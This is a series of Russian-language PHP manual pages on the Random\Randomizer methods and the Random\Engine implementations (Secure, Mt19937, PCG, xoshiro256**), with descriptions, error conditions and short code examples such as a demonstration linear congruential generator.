Пример #2 Incorrect scaling using an affine transformation

<?php
final class MaxEngine implements Random\Engine {
public function generate(): string {
return "\xff";
}
}

$randomizer = new \Random\Randomizer(new MaxEngine);

$min = 3.5;
$max = 4.5;

// DO NOT DO THIS:
//
// This will output 4.5, despite nextFloat() sampling from
// a right-open interval, which will never return 1.
printf("Wrong scaling: %.17g", $randomizer->nextFloat() * ($max - $min) + $min);

// Correct:
// $randomizer->getFloat($min, $max, \Random\IntervalBoundary::ClosedOpen);
?>

Результат выполнения данного примера:

Wrong scaling: 4.5

Смотрите также

  • Random\Randomizer::getFloat() - Get a uniformly selected float

User Contributed Notes

There are no user contributed notes for this page.


Получает целое положительное число

  • « Random\Randomizer::nextFloat
  • Random\Randomizer::pickArrayKeys »
  • PHP Manual
  • Random\Randomizer
  • Получает целое положительное число

Random\Randomizer::nextInt

(PHP 8 >= 8.2.0)

Random\Randomizer::nextInt — Получает целое положительное число

Описание

public Random\Randomizer::nextInt(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Положительное целое число от 0 до максимального значения, зависящего от количества байт, возвращаемых Random\Engine::generate(). Точное максимальное значение может быть вычислено как 2$engine_bytes * 8 - 1 - 1.

Ошибки

  • Чтобы избежать несоответствий, 32-битный PHP будет выбрасывать исключение Random\RandomException, если размер возвращаемого значения Random\Engine::generate() превышает 32 бита, так как выбранное целое число не может быть возвращено без потерь. Это касается собственных 64-битных движков Random\Engine\PcgOneseq128XslRr64 и Random\Engine\Xoshiro256StarStar. Любой пользовательский механизм, возвращающий более 4 байт случайных данных, также подвержен влиянию.
  • Любые Throwable, выбрасываемые методом Random\Engine::generate() базового Random\Randomizer::$engine.

Примеры

Пример #1 Пример использования Random\Randomizer::nextInt()

<?php
$r = new \Random\Randomizer();

// Случайное "следующее" целое число:
echo $r->nextInt(), "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

8041689838856078718

User Contributed Notes

There are no user contributed notes for this page.


Выбирает случайные ключи массива

  • « Random\Randomizer::nextInt
  • Random\Randomizer::__serialize »
  • PHP Manual
  • Random\Randomizer
  • Выбирает случайные ключи массива

Random\Randomizer::pickArrayKeys

(PHP 8 >= 8.2.0)

Random\Randomizer::pickArrayKeys — Выбирает случайные ключи массива

Описание

public Random\Randomizer::pickArrayKeys(array $array, int $num): array

Равномерно выбирает num отдельных ключей массива входного массива array.

Каждый ключ входного массива array с равной вероятностью будет возвращён.

Предостережение

Выбор ключей массива зависит от внутренней структуры входного массива array. Ключи возвращаемого массива могут быть разными для двух одинаковых входных массивов и двух объектов Random\Engine с одинаковым состоянием, в зависимости от того, как были созданы входные массивы.

Список параметров

array

Массив, ключи массива которого выбираются.

num

Количество возвращаемых ключей массива; должно быть между 1 и количеством элементов в параметре array.

Возвращаемые значения

Массив (array), содержащий num отдельных ключей массива array.

Возвращаемый массив (array) будет списком (array_is_list()). Это будет подмножество массивов (array), возвращаемых функцией array_keys().

Ошибки

  • Если параметр num меньше 1 или больше количества элементов в параметре array, будет выброшено исключение ValueError.
  • Любые Throwable, выбрасываемые методом Random\Engine::generate() базового Random\Randomizer::$engine.

Примеры

Пример #1 Пример использования Random\Randomizer::pickArrayKeys()

<?php
$r = new \Random\Randomizer();

$fruits = [ 'red' => '??', 'green' => '??', 'yellow' => '??', 'pink' => '??', 'purple' => '??' ];

// Выборка 2 случайных ключей массива:
echo "Ключи: ", implode(', ', $r->pickArrayKeys($fruits, 2)), "\n";

// Выборка ещё 3:
echo "Ключи: ", implode(', ', $r->pickArrayKeys($fruits, 3)), "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

Ключи: yellow, purple
Ключи: red, green, yellow

Пример #2 Выбор случайных значений

<?php
$r = new \Random\Randomizer();

$fruits = [ 'red' => '??', 'green' => '??', 'yellow' => '??', 'pink' => '??', 'purple' => '??' ];

$keys = $r->pickArrayKeys($fruits, 2);
// Поиск значения для выбранных ключей.
$selection = array_map(
static fn ($key) => $fruits[$key],
$keys
);

echo "Значения: ", implode(', ', $selection), "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

Значения: ??, ??

Смотрите также

  • array_keys() - Возвращает все или некоторое подмножество ключей массива

User Contributed Notes

There are no user contributed notes for this page.


Сериализует объект Randomizer

  • « Random\Randomizer::pickArrayKeys
  • Random\Randomizer::shuffleArray »
  • PHP Manual
  • Random\Randomizer
  • Сериализует объект Randomizer

Random\Randomizer::__serialize

(PHP 8 >= 8.2.0)

Random\Randomizer::__serialize — Сериализует объект Randomizer

Описание

public Random\Randomizer::__serialize(): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования Random\Randomizer::__serialize()

<?php

/* ... */

?>

Результатом выполнения данного примера будет что-то подобное:

...

User Contributed Notes

There are no user contributed notes for this page.


Получает перестановку массива

  • « Random\Randomizer::__serialize
  • Random\Randomizer::shuffleBytes »
  • PHP Manual
  • Random\Randomizer
  • Получает перестановку массива

Random\Randomizer::shuffleArray

(PHP 8 >= 8.2.0)

Random\Randomizer::shuffleArray — Получает перестановку массива

Описание

public Random\Randomizer::shuffleArray(array $array): array

Возвращает равномерно выбранную перестановку входного массива array.

Каждая возможная перестановка входного массива array с равной вероятностью будет возвращена.

Список параметров

array

Массив (array), значения которого перемешиваются.

Входной массив (array) не будет изменён.

Возвращаемые значения

Перестановка значений параметра array.

Ключи входного массива array не сохраняются; возвращаемый массив (array) будет списком (array_is_list()).

Ошибки

  • Любые Throwable, выбрасываемые методом Random\Engine::generate() базового Random\Randomizer::$engine.

Примеры

Пример #1 Пример использования Random\Randomizer::shuffleArray()

<?php
$r = new \Random\Randomizer();

$fruits = [ 'red' => '??', 'green' => '??', 'yellow' => '??', 'pink' => '??', 'purple' => '??' ];

// Перемешивание массива:
echo "Салат: ", implode(', ', $r->shuffleArray($fruits)), "\n";

// Перемешивание массива ещё раз:
echo "Другой салат: ", implode(', ', $r->shuffleArray($fruits)), "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

Салат: ??, ??, ??, ??, ??
Другой салат: ??, ??, ??, ??, ??

User Contributed Notes

There are no user contributed notes for this page.


Получает байтовую перестановку строки

  • « Random\Randomizer::shuffleArray
  • Random\Randomizer::__unserialize »
  • PHP Manual
  • Random\Randomizer
  • Получает байтовую перестановку строки

Random\Randomizer::shuffleBytes

(PHP 8 >= 8.2.0)

Random\Randomizer::shuffleBytes — Получает байтовую перестановку строки

Описание

public Random\Randomizer::shuffleBytes(string $bytes): string

Возвращает равномерно выбранную перестановку входных байтов bytes.

Каждая возможная перестановка входного значения bytes с равной вероятностью будет возвращена.

Список параметров

bytes

Строка (string), байты которой перемешиваются.

Входная строка (string) не будет изменена.

Возвращаемые значения

Перестановка байтов параметра bytes.

Ошибки

  • Любые Throwable, выбрасываемые методом Random\Engine::generate() базового Random\Randomizer::$engine.

Примеры

Пример #1 Пример использования Random\Randomizer::shuffleBytes()

<?php
$r = new \Random\Randomizer();

// Перемешивание байтов в строке:
echo "«", $r->shuffleBytes("PHP is great!"), "»\n";

?>

Результатом выполнения данного примера будет что-то подобное:

« ga rHs!PPiet»

Пример #2 Byte-wise shuffling breaks Unicode characters

<?php
$r = new \Random\Randomizer();

$unicode = "??, ??, ??, ??, ??";
$shuffled = $r->shuffleBytes( $unicode );

// Побайтовое перемешивание символов, отличных от ASCII, разрушает их,
// в результате чего на выходе появляются недопустимые последовательности
// (обозначаемые символом замены Unicode) или даже совершенно другие символы.
echo "Исходные данные: ", $unicode, "\n";
echo "Перемешанные: «", $shuffled, "»\n";
echo "Перемешанные байты: ", bin2hex($shuffled), "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

Исходные данные: ??, ??, ??, ??, ??
Перемешанные: «? ??,???????,? ?? ?, ?,??»
Перемешанные байты: 87208e912c8d9fa5f0f0f09f8d9f2cf09f208c9d20f02c209f2c8d8d

User Contributed Notes

okerem@github 02-Dec-2023 03:35
For a unicode-safe shuffling;

<?php
$r = new \Random\Randomizer();
$s = join($r->shuffleArray(mb_str_split($string)));


Десериализует параметр data в объект Randomizer

  • « Random\Randomizer::shuffleBytes
  • Random\Engine »
  • PHP Manual
  • Random\Randomizer
  • Десериализует параметр data в объект Randomizer

Random\Randomizer::__unserialize

(PHP 8 >= 8.2.0)

Random\Randomizer::__unserialize — Десериализует параметр data в объект Randomizer

Описание

public Random\Randomizer::__unserialize(array $data): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

data

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Random\Randomizer::__unserialize()

<?php

/* ... */

?>

Результатом выполнения данного примера будет что-то подобное:

...

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс Random\Engine

(PHP 8 >= 8.2.0)

Введение

Интерфейс Random\Engine обеспечивает низкоуровневый источник случайной последовательности, возвращая случайные байты, которые потребляются высокоуровневыми API для выполнения своих операций. Интерфейс Random\Engine позволяет менять местами алгоритм, используемый для генерации случайной последовательности, поскольку каждый алгоритм делает различные компромиссы для соответствия конкретным условиям использования. Некоторые алгоритмы очень быстры, но создают случайную последовательность низкого качества, в то время как другие алгоритмы медленнее, но создают более качественную случайную последовательность, вплоть до криптографически безопасной случайной последовательности, которую обеспечивает механизм Random\Engine\Secure.

PHP предоставляет несколько движков Random\Engine из коробки для различных случаев использования. Движок Random\Engine\Secure, основанный на CSPRNG, является рекомендуемым безопасным выбором по умолчанию, если только приложение не требует воспроизводимых последовательностей или очень высокой производительности.

Обзор интерфейсов

interface Random\Engine {
/* Методы */
public generate(): string
}

Содержание

  • Random\Engine::generate — Создаёт случайную последовательность

User Contributed Notes

There are no user contributed notes for this page.


Создаёт случайную последовательность

  • « Random\Engine
  • Random\CryptoSafeEngine »
  • PHP Manual
  • Random\Engine
  • Создаёт случайную последовательность

Random\Engine::generate

(PHP 8 >= 8.2.0)

Random\Engine::generate — Создаёт случайную последовательность

Описание

public Random\Engine::generate(): string

Возвращает случайную последовательность и передвигает состояние алгоритма на один шаг.

Случайная последовательность представлена двоичной строкой, содержащей случайные байты. Такое представление позволяет однозначно интерпретировать случайные биты, генерируемые алгоритмом, например, для адаптации различных размеров вывода, используемых различными алгоритмами.

Алгоритмы, которые изначально оперируют целыми значениями, должны возвращать целое число в порядке little-endian байтов, например, используя функцию pack() с кодом формата P. Высокоуровневый интерфейс, предоставляемый классом Random\Randomizer, будет интерпретировать возвращаемые случайные байты как целые числа без знака с малым порядком возрастания, если требуется числовое представление.

Настоятельно рекомендуется, чтобы каждый бит возвращаемой строки был выбран равномерно и независимо, поскольку некоторые приложения требуют для корректной работы случайности на уровне битов. Например, линейные конгруэнтные генераторы часто генерируют менее качественную случайную последовательность для младших битов возвращаемого целого значения и поэтому не подходят для приложений, требующих случайной последовательности на уровне битов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования Random\Engine::generate()

<?php
/**
* Реализует линейный конгруэнтный генератор с модулем 65536,
* множителем 61 и инкрементом 17, возвращающий 8-битное целое число.
*
* Примечание: Движок предназначен только для демонстрационных целей.
* Линейные конгруэнтные генераторы обычно генерируют случайность низкого
* качества, а данная конкретная реализация имеет
* очень короткий 16-битный период, который не подходит практически
* ни для одного реального случая использования.
*/
final class LinearCongruentialGenerator implements \Random\Engine
{
private int $state;

public function __construct(?int $seed = null)
{
if ($seed === null) {
$seed = random_int(0, 0xffff);
}

$this->state = $seed & 0xffff;
}

public function generate(): string
{
$this->state = (61 * $this->state + 17) & 0xffff;

return pack('C', $this->state >> 8);
}
}

$r = new \Random\Randomizer(
new LinearCongruentialGenerator(seed: 1)
);

echo "Счастливое число: ", $r->getInt(0, 99), "\n";
?>

Результат выполнения данного примера:

Счастливое число: 4

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс Random\CryptoSafeEngine

(PHP 8 >= 8.2.0)

Введение

Интерфейс, указывающий, что тип Random\Engine возвращает криптографически безопасную случайную последовательность.

Обзор интерфейсов

interface Random\CryptoSafeEngine extends Random\Engine {
/* Наследуемые методы */
public Random\Engine::generate(): string
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Random\Engine\Secure

(PHP 8 >= 8.2.0)

Введение

Создаёт криптографически безопасную случайную последовательность, используя CSPRNG операционной системы.

Случайная последовательность, создаваемая Random\Engine, подходит для всех приложений, включая создание долгосрочных секретов, таких как ключи шифрования.

Механизм Random\Engine\Secure является рекомендуемым безопасным выбором по умолчанию, если только приложение не требует воспроизводимых последовательностей или очень высокой производительности.

Обзор классов

final class Random\Engine\Secure implements Random\CryptoSafeEngine {
/* Методы */
public generate(): string
}

Содержание

  • Random\Engine\Secure::generate — Создаёт криптографически безопасную случайную последовательность

User Contributed Notes

There are no user contributed notes for this page.


Создаёт криптографически безопасную случайную последовательность

  • « Random\Engine\Secure
  • Random\Engine\Mt19937 »
  • PHP Manual
  • Random\Engine\Secure
  • Создаёт криптографически безопасную случайную последовательность

Random\Engine\Secure::generate

(PHP 8 >= 8.2.0)

Random\Engine\Secure::generate — Создаёт криптографически безопасную случайную последовательность

Описание

public Random\Engine\Secure::generate(): string

Возвращает криптографически безопасную случайную последовательность.

Источники случайных величин в порядке приоритета:

  • Linux: » getrandom(), /dev/urandom

  • FreeBSD >= 12 (PHP >= 7.3): » getrandom(), /dev/urandom

  • Windows (PHP >= 7.2): » CNG-API

    Windows: » CryptGenRandom

  • macOS (PHP >= 8.2; >= 8.1.9; >= 8.0.22, если CCRandomGenerateBytes доступен во время компиляции): CCRandomGenerateBytes()

    macOS (PHP >= 8.1; >= 8.0.2): arc4random_buf(), /dev/urandom

  • NetBSD >= 7 (PHP >= 7.1; >= 7.0.1): arc4random_buf(), /dev/urandom

  • OpenBSD >= 5.5 (PHP >= 7.1; >= 7.0.1): arc4random_buf(), /dev/urandom

  • DragonflyBSD (PHP >= 8.1): » getrandom(), /dev/urandom

  • Solaris (PHP >= 8.1): » getrandom(), /dev/urandom

  • Любая комбинация операционной системы и версии PHP, не указанная ранее: /dev/urandom
  • Если ни один из источников не доступен или все они не генерируют случайную величину, то будет выброшено исключение Random\RandomException.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, содержащую PHP_INT_SIZE криптографически защищённых случайных байтов.

Ошибки

  • Если подходящие источники случайных величин отсутствуют, то выбрасывается исключение Random\RandomException.

User Contributed Notes

There are no user contributed notes for this page.


Класс Random\Engine\Mt19937

(PHP 8 >= 8.2.0)

Введение

Реализует алгоритм » Mt19937 ("Mersenne Twister").

Обзор классов

final class Random\Engine\Mt19937 implements Random\Engine {
/* Методы */
public __construct(?int $seed = null, int $mode = MT_RAND_MT19937)
public __debugInfo(): array
public generate(): string
public __serialize(): array
public __unserialize(array $data): void
}

Содержание

  • Random\Engine\Mt19937::__construct — Создаёт новый объект движка Mt19937
  • Random\Engine\Mt19937::__debugInfo — Возвращает внутреннее состояние движка
  • Random\Engine\Mt19937::generate — Создаёт 32 бита случайной последовательности
  • Random\Engine\Mt19937::__serialize — Сериализует объект Mt19937
  • Random\Engine\Mt19937::__unserialize — Десериализует параметр data в объект Mt19937

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект движка Mt19937

  • « Random\Engine\Mt19937
  • Random\Engine\Mt19937::__debugInfo »
  • PHP Manual
  • Random\Engine\Mt19937
  • Создаёт новый объект движка Mt19937

Random\Engine\Mt19937::__construct

(PHP 8 >= 8.2.0)

Random\Engine\Mt19937::__construct — Создаёт новый объект движка Mt19937

Описание

public Random\Engine\Mt19937::__construct(?int $seed = null, int $mode = MT_RAND_MT19937)

Предостережение

Поскольку механизм Mt19937 ("Mersenne Twister") принимает в качестве значения только одно 32-битное целое число, количество возможных случайных последовательностей ограничено всего 232 (то есть 4 294 967 296), несмотря на огромный период Mt19937, равный 219937-1.

Если полагаться на неявное или явное случайное значение, дубликаты появятся гораздо раньше. Дублированные значения ожидаются с 50% вероятностью после менее чем 80 000 случайно сгенерированных значений в соответствии с проблемой дня рождения. Вероятность дублирования значений составляет 10% после случайной генерации примерно 30 000 значений.

Это делает Mt19937 непригодным для применения в тех случаях, когда дублирование последовательностей не должно происходить с более чем ничтожной вероятностью. Если требуется воспроизводимое значение, то движки Random\Engine\Xoshiro256StarStar и Random\Engine\PcgOneseq128XslRr64 поддерживают гораздо большие значения, которые вряд ли столкнутся случайно. Если воспроизводимость не требуется, механизм Random\Engine\Secure обеспечивает криптографически безопасную случайную последовательность.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

seed

Заполняет состояние значениями, сгенерированными линейным конгруэнтным генератором, который был заполнен параметром seed, интерпретируемым как 32-битное целое число без знака.

Если параметр seed опущен или null, будет использовано случайное 32-битное целое число без знака.

mode

Используйте одну из следующих констант, чтобы указать реализацию используемого алгоритма.

  • MT_RAND_MT19937: Корректная реализация Mt19937.
  • MT_RAND_PHP: Некорректная реализация для обратной совместимости с функцией mt_srand() до версии PHP 7.1.0.

Внимание

Данная функциональность объявлена УСТАРЕВШЕЙ, начиная с PHP 8.3.0 и её крайне не рекомендуется использовать.

Примеры

Пример #1 Пример использования Random\Engine\Mt19937::__construct()

<?php
// Использование случайного 32-битного значения.
$e = new \Random\Engine\Mt19937();

$r = new \Random\Randomizer($e);
?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает внутреннее состояние движка

  • « Random\Engine\Mt19937::__construct
  • Random\Engine\Mt19937::generate »
  • PHP Manual
  • Random\Engine\Mt19937
  • Возвращает внутреннее состояние движка

Random\Engine\Mt19937::__debugInfo

(PHP 8 >= 8.2.0)

Random\Engine\Mt19937::__debugInfo — Возвращает внутреннее состояние движка

Описание

public Random\Engine\Mt19937::__debugInfo(): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования Random\Engine\Mt19937::__debugInfo()

<?php

/* ... */

?>

Результатом выполнения данного примера будет что-то подобное:

...

User Contributed Notes

There are no user contributed notes for this page.


Создаёт 32 бита случайной последовательности

  • « Random\Engine\Mt19937::__debugInfo
  • Random\Engine\Mt19937::__serialize »
  • PHP Manual
  • Random\Engine\Mt19937
  • Создаёт 32 бита случайной последовательности

Random\Engine\Mt19937::generate

(PHP 8 >= 8.2.0)

Random\Engine\Mt19937::generate — Создаёт 32 бита случайной последовательности

Описание

public Random\Engine\Mt19937::generate(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, представляющую 32-битное целое число без знака в порядке little-endian.

User Contributed Notes

There are no user contributed notes for this page.


Сериализует объект Mt19937

  • « Random\Engine\Mt19937::generate
  • Random\Engine\Mt19937::__unserialize »
  • PHP Manual
  • Random\Engine\Mt19937
  • Сериализует объект Mt19937

Random\Engine\Mt19937::__serialize

(PHP 8 >= 8.2.0)

Random\Engine\Mt19937::__serialize — Сериализует объект Mt19937

Описание

public Random\Engine\Mt19937::__serialize(): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования Random\Engine\Mt19937::__serialize()

<?php

/* ... */

?>

Результатом выполнения данного примера будет что-то подобное:

...

User Contributed Notes

There are no user contributed notes for this page.


Десериализует параметр data в объект Mt19937

  • « Random\Engine\Mt19937::__serialize
  • Random\Engine\PcgOneseq128XslRr64 »
  • PHP Manual
  • Random\Engine\Mt19937
  • Десериализует параметр data в объект Mt19937

Random\Engine\Mt19937::__unserialize

(PHP 8 >= 8.2.0)

Random\Engine\Mt19937::__unserialize — Десериализует параметр data в объект Mt19937

Описание

public Random\Engine\Mt19937::__unserialize(array $data): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

data

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Random\Engine\Mt19937::__unserialize()

<?php

/* ... */

?>

Результатом выполнения данного примера будет что-то подобное:

...

User Contributed Notes

There are no user contributed notes for this page.


Класс Random\Engine\PcgOneseq128XslRr64

(PHP 8 >= 8.2.0)

Введение

Реализует » перестановочный конгруэнтный генератор (PCG) со 128 битами состояния, преобразованиями XSL и RR и 64 битами на выходе.

Обзор классов

final class Random\Engine\PcgOneseq128XslRr64 implements Random\Engine {
/* Методы */
public __construct(string|int|null $seed = null)
public __debugInfo(): array
public generate(): string
public jump(int $advance): void
public __serialize(): array
public __unserialize(array $data): void
}

Содержание

  • Random\Engine\PcgOneseq128XslRr64::__construct — Создаёт новый движок PCG Oneseq 128 XSL RR 64
  • Random\Engine\PcgOneseq128XslRr64::__debugInfo — Возвращает внутреннее состояние движка
  • Random\Engine\PcgOneseq128XslRr64::generate — Создаёт 64 бита случайной последовательности
  • Random\Engine\PcgOneseq128XslRr64::jump — Эффективное перемещение движка вперёд на несколько шагов
  • Random\Engine\PcgOneseq128XslRr64::__serialize — Сериализует объект PcgOneseq128XslRr64
  • Random\Engine\PcgOneseq128XslRr64::__unserialize — Десериализует параметр data в объект PcgOneseq128XslRr64

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый движок PCG Oneseq 128 XSL RR 64

  • « Random\Engine\PcgOneseq128XslRr64
  • Random\Engine\PcgOneseq128XslRr64::__debugInfo »
  • PHP Manual
  • Random\Engine\PcgOneseq128XslRr64
  • Создаёт новый движок PCG Oneseq 128 XSL RR 64

Random\Engine\PcgOneseq128XslRr64::__construct

(PHP 8 >= 8.2.0)

Random\Engine\PcgOneseq128XslRr64::__construct — Создаёт новый движок PCG Oneseq 128 XSL RR 64

Описание

public Random\Engine\PcgOneseq128XslRr64::__construct(string|int|null $seed = null)

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

seed

Способ наполнения внутреннего 128-битного (16-байтного) состояния, состоящего из одного 128-битного целого числа без знака, зависит от типа, используемого в качестве параметра seed.

Тип | Описание
null | Заполняет состояние 16 случайными байтами, сгенерированными с помощью CSPRNG.
int | Заполняет состояние, устанавливая состояние в 0, продвигая движок на один шаг, добавляя значение параметра seed, интерпретируемое как 64-битное целое число без знака и продвигая движок ещё на один шаг.
string | Заполняет состояние, интерпретируя 16-байтовую строку (string) как little-endian 128-битное целое число без знака.

Ошибки

  • Если длина строкового (string) параметра seed не равна 16 байтам, будет выдана ошибка ValueError.

Примеры

Пример #1 Пример использования Random\Engine\PcgOneseq128XslRr64::__construct()

<?php
// Использование случайного 128-битного значения.
$e = new \Random\Engine\PcgOneseq128XslRr64();

$r = new \Random\Randomizer($e);
?>

Пример #2 Выведение значения из строки (string)

<?php
$string = "My string seed";

// Хеширование строки усечённым SHA-256, используя двоичный вывод,
// чтобы превратить $string в 128-битное значение. Использование одной и той же
// строки приведёт к одной и той же случайной последовательности.
$e = new \Random\Engine\PcgOneseq128XslRr64(
substr(hash('sha256', $string, binary: true), 0, 16)
);

echo bin2hex($e->generate()), "\n";
?>

Результат выполнения данного примера:

8333ef59315b16d8

User Contributed Notes

There are no user contributed notes for this page.


Возвращает внутреннее состояние движка

  • « Random\Engine\PcgOneseq128XslRr64::__construct
  • Random\Engine\PcgOneseq128XslRr64::generate »
  • PHP Manual
  • Random\Engine\PcgOneseq128XslRr64
  • Возвращает внутреннее состояние движка

Random\Engine\PcgOneseq128XslRr64::__debugInfo

(PHP 8 >= 8.2.0)

Random\Engine\PcgOneseq128XslRr64::__debugInfo — Возвращает внутреннее состояние движка

Описание

public Random\Engine\PcgOneseq128XslRr64::__debugInfo(): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования Random\Engine\PcgOneseq128XslRr64::__debugInfo()

<?php

/* ... */

?>

Результатом выполнения данного примера будет что-то подобное:

...

User Contributed Notes

There are no user contributed notes for this page.


Создаёт 64 бита случайной последовательности

  • « Random\Engine\PcgOneseq128XslRr64::__debugInfo
  • Random\Engine\PcgOneseq128XslRr64::jump »
  • PHP Manual
  • Random\Engine\PcgOneseq128XslRr64
  • Создаёт 64 бита случайной последовательности

Random\Engine\PcgOneseq128XslRr64::generate

(PHP 8 >= 8.2.0)

Random\Engine\PcgOneseq128XslRr64::generate — Создаёт 64 бита случайной последовательности

Описание

public Random\Engine\PcgOneseq128XslRr64::generate(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, представляющую 32-битное целое число без знака в порядке little-endian.

User Contributed Notes

There are no user contributed notes for this page.


Эффективное перемещение движка вперёд на несколько шагов

  • « Random\Engine\PcgOneseq128XslRr64::generate
  • Random\Engine\PcgOneseq128XslRr64::__serialize »
  • PHP Manual
  • Random\Engine\PcgOneseq128XslRr64
  • Эффективное перемещение движка вперёд на несколько шагов

Random\Engine\PcgOneseq128XslRr64::jump

(PHP 8 >= 8.2.0)

Random\Engine\PcgOneseq128XslRr64::jump — Эффективное перемещение движка вперёд на несколько шагов

Описание

public Random\Engine\PcgOneseq128XslRr64::jump(int $advance): void

Перемещает состояние алгоритма вперёд на количество шагов, заданное параметром advance, как если бы функция Random\Engine\PcgOneseq128XslRr64::generate() была вызвана столько раз.

Список параметров

advance

Количество шагов для продвижения вперёд; должно быть 0 или больше.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • Если параметр advance меньше 0, будет выброшено исключение ValueError.

Примеры

Пример #1 Пример использования Random\Engine\PcgOneseq128XslRr64::jump()

<?php
$a = new \Random\Engine\PcgOneseq128XslRr64(0);
$b = clone $a;

for ($i = 0; $i < 1_000; $i++) {
$a->generate();
}
$b->jump(1_000);

echo "A: ", bin2hex($a->generate()), "\n";
echo "B: ", bin2hex($b->generate()), "\n";
?>

Результат выполнения данного примера:

A: e6d0d5813913a424
B: e6d0d5813913a424

Пример #2 Методы Randomizer могут вызывать движок более одного раза

<?php
$a = new \Random\Randomizer(new \Random\Engine\PcgOneseq128XslRr64(42659));
$b = new \Random\Randomizer(clone $a->engine);

$a->getInt(1, 1572864); // Выполняет два вызова generate().
$a->getInt(1, 1572864);

$b->engine->jump(2);

// Потому что первый вызов ->getInt() вызвал ->generate() дважды
// движки не совпадают после выполнения ->jump(2).
echo "A: ", bin2hex($a->engine->generate()), "\n";
echo "B: ", bin2hex($b->engine->generate()), "\n";

// Теперь движок B соответствует движку A.
echo "B: ", bin2hex($b->engine->generate()), "\n";
?>

Результат выполнения данного примера:

A: 1e9f3107d56653d0
B: a156c0086dd79d44
B: 1e9f3107d56653d0

User Contributed Notes

There are no user contributed notes for this page.


Сериализует объект PcgOneseq128XslRr64

  • « Random\Engine\PcgOneseq128XslRr64::jump
  • Random\Engine\PcgOneseq128XslRr64::__unserialize »
  • PHP Manual
  • Random\Engine\PcgOneseq128XslRr64
  • Сериализует объект PcgOneseq128XslRr64

Random\Engine\PcgOneseq128XslRr64::__serialize

(PHP 8 >= 8.2.0)

Random\Engine\PcgOneseq128XslRr64::__serialize — Сериализует объект PcgOneseq128XslRr64

Описание

public Random\Engine\PcgOneseq128XslRr64::__serialize(): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования Random\Engine\PcgOneseq128XslRr64::__serialize()

<?php

/* ... */

?>

Результатом выполнения данного примера будет что-то подобное:

...

User Contributed Notes

There are no user contributed notes for this page.


Десериализует параметр data в объект PcgOneseq128XslRr64

  • « Random\Engine\PcgOneseq128XslRr64::__serialize
  • Random\Engine\Xoshiro256StarStar »
  • PHP Manual
  • Random\Engine\PcgOneseq128XslRr64
  • Десериализует параметр data в объект PcgOneseq128XslRr64

Random\Engine\PcgOneseq128XslRr64::__unserialize

(PHP 8 >= 8.2.0)

Random\Engine\PcgOneseq128XslRr64::__unserialize — Десериализует параметр data в объект PcgOneseq128XslRr64

Описание

public Random\Engine\PcgOneseq128XslRr64::__unserialize(array $data): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

data

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Random\Engine\PcgOneseq128XslRr64::__unserialize()

<?php

/* ... */

?>

Результатом выполнения данного примера будет что-то подобное:

...

User Contributed Notes

There are no user contributed notes for this page.


Класс Random\Engine\Xoshiro256StarStar

(PHP 8 >= 8.2.0)

Введение

Реализует алгоритм » xoshiro256**.

Обзор классов

final class Random\Engine\Xoshiro256StarStar implements Random\Engine {
/* Методы */
public __construct(string|int|null $seed = null)
public __debugInfo(): array
public generate(): string
public jump(): void
public jumpLong(): void
public __serialize(): array
public __unserialize(array $data): void
}

Содержание

  • Random\Engine\Xoshiro256StarStar::__construct — Создаёт новый объект движка xoshiro256**
  • Random\Engine\Xoshiro256StarStar::__debugInfo — Возвращает внутреннее состояние движка
  • Random\Engine\Xoshiro256StarStar::generate — Генерирует 64 бита случайной последовательности
  • Random\Engine\Xoshiro256StarStar::jump — Эффективно перемещает движок вперёд на 2^128 шагов
  • Random\Engine\Xoshiro256StarStar::jumpLong — Эффективно перемещает движок вперёд на 2^192 шага
  • Random\Engine\Xoshiro256StarStar::__serialize — Сериализует объект Xoshiro256StarStar
  • Random\Engine\Xoshiro256StarStar::__unserialize — Десериализует параметр data в объект Xoshiro256StarStar

User Contributed Notes

There are no user contributed notes for this page.


